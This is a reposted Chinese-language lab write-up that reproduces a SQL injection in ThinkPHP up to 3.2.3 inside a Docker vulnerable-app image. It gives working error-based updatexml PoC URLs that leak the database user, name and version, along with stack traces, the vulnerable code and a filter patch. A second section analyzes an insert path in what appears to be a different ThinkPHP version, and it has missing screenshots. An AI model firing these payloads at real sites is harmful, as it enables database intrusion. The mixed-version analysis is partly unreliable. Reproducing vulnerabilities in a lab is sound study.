ref:ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)

來源:互聯網
上載者:User

標籤:開頭   switch語句   idt   eval   使用者名稱   結果   pre   lower   def   

ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)

ref:https://www.jianshu.com/p/18d06277161e

TimeSHU 2018.04.21 02:03* 字數 761 閱讀 23評論 2喜歡 0

ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)的一次漏洞複現作業

-------------------------------------------------------------

1.進入docker內部環境說明service docker start;docker ps;列出當前容器docker exec -it 9b96ee2b /bin/bash;//9b96ee2b為container_id 2.實際調試堆棧以及參數傳遞情況:/var/www/html# more index.php// 開啟偵錯模式 建議開發階段開啟 部署階段注釋或者設為false;方便列印日誌。define(‘APP_DEBUG‘,True); 下面是根據TimeSHU提供的docker環境調試update注入情況分析。

這是poc:http://192.168.3.6/Home/Index/readcategorymsg?category[0]=bind&category[1]=0%20and(updatexml(1,concat(0x7e,(user())),0))

category是數組:
0:"bind"
1:"0 and(updatexml(1,concat(0x7e,(user())),0))"

出錯堆棧資訊:
#0 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(350): E(‘1105:XPATH synt...‘)。
#1 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(237): Think\Db\Driver->error()
#2 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(906): Think\Db\Driver->execute(‘UPDATE `vulapps...‘, false)
UPDATE `vulapps_message` SET `is_read`=‘1‘ WHERE `category` = ‘1‘ and(updatexml(1,concat(0x7e,(user())),0))//儘管前面為false,但是後面任然要執行。此次報錯:XPATH syntax error: ‘[email protected]‘。

/var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(906): public function update($data,$options)
sql語句:return $this->execute($sql,!empty($options[‘fetch_sql‘]) ? true : false);

UPDATE `vulapps_message` SET `is_read`=:0 WHERE `category` = :0 and(updatexml(1,concat(0x7e,(user())),0))

漏洞代碼:

protected function parseWhereItem($key,$val)//category,array(2) { [0]=...
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);//array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" } ,則exp=bind
}elseif(‘bind‘ == $exp ){ //
$whereStr .= $key.‘ = :‘.$val[1];//$whereStr.=category=:0 and (updatexml...)此處將:0拼接進去,為後面pdo參數替換製造了機會。
這裡可以看出來如果where是一個數組的話,並且第一個元素為bind,那麼直接就進行了拼接操作,分析到這裡我們看看I函數的過濾限制並沒有將bind排除。

#3 /var/www/html/ThinkPHP/Library/Think/Model.class.php(451): Think\Db\Driver->update(Array, Array)
$result = $this->db->update($data,$options);
echo var_dump($data):
array(1) { ["is_read"]=> int(1) } array(3) { ["where"]=> array(1) { ["category"]=> array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" } } ["table"]=> string(15) "vulapps_message" ["model"]=> string(7) "message" }

#4 /var/www/html/Application/Home/Controller/IndexController.class.php(18): Think\Model->save(Array)
public function readcategorymsg(){
$condition[‘category‘] = I("category");
$data[‘is_read‘] = 1;
$res = M("message")->where($condition)->save($data);
echo var_dump($condition[‘category‘])."<br>";
array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" }

#5 [internal function]: Home\Controller\IndexController->readcategorymsg()
#6 /var/www/html/ThinkPHP/Library/Think/App.class.php(173):

補丁方法:在I函數增加bind過濾。

 

function think_filter(&$value){ if(preg_match(‘/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN|BIND)$/i‘,$value)){$value.=‘ ‘;}

 

-------------------------------------------------------------

漏洞環境:docker

漏洞分析

首先,我們知道insert 方法存在漏洞,那就查看 insert 方法的具體實現。

該方法位於thinkphp\library\think\db\Builder.php 檔案中,我們可以看到在函數開頭調用了 parseData 方法,並將 $data 作為參數傳入, $data 的值是我們通過 get方式傳入的一個數群組類型的資料,如:

 

 

我們跟進parseData方法,該方法也在 thinkphp\library\think\db\Builder.php 檔案中。

可以看到,在結尾處有個switch語句,而且進入該語句後,會跳到case ‘inc‘的地方,這裡關鍵就是看看 $this->parseKey 是否有對 $val[1] 變數進行過濾了;

因為$val[1]變數就是我們payload中的updatexml(1,concat(0x7,user(),0x7e),1) ,如:

 

繼續跟進parseValue 方法,會發現直接將傳入的 $key 返回了,沒有進行任何過濾。

 

 

我們再回到最開始的insert 方法,加上調試語句,看看此時的sql語句變成了什麼樣子,如:

 

另一處update函數的注入與這個insert是類似的。

 

使用docker搭建漏洞環境

    1.拉取鏡像到本地

        docker pull medicean/vulapps:t_thinkphp_1

    2.啟動環境

        docker run -d -p 80:80 medicean/vulapps:t_thinkphp_1

-p 80:80 前面的 80 代表物理機的連接埠,可隨意指定。

 

使用和利用

    訪問 http://192.168.0.104:80/, 假設啟動的連接埠號碼為 80

        出現環境搭建成功了

 

點擊標記已讀:可以使用burp抓包得到URL

http://192.168.0.104/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF

存在漏洞的地方:category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF

 

POC:

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(user())),0))

使用上面POC可直接擷取到資料庫使用者名稱

 

 

爆出資料庫使用者名稱:[email protected]

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(database())),0))

 

 

 

通過database(),報錯回顯一個資料庫:vulapps

 

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(version())),0))

 

 

爆出資料庫版本:5.5.57-0ubuntu0.14.04.1

 

網上找了些資料,但還是對這個不是很懂,本來想構造一個語句看看是否能擷取到資料庫中的賬戶和密碼,結果發現無法使用(尷尬..)

對上面的這段POC不算很懂,只能看出大概就是通過user()這裡修改可以擷取到資料庫使用者和版本

參考資料:

https://mp.weixin.qq.com/s/lNaH2-AAtk9JVKbbCBeIRA

https://mp.weixin.qq.com/s/4xXS7usHMFNgDTEHcHBcBA

 

ref:ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.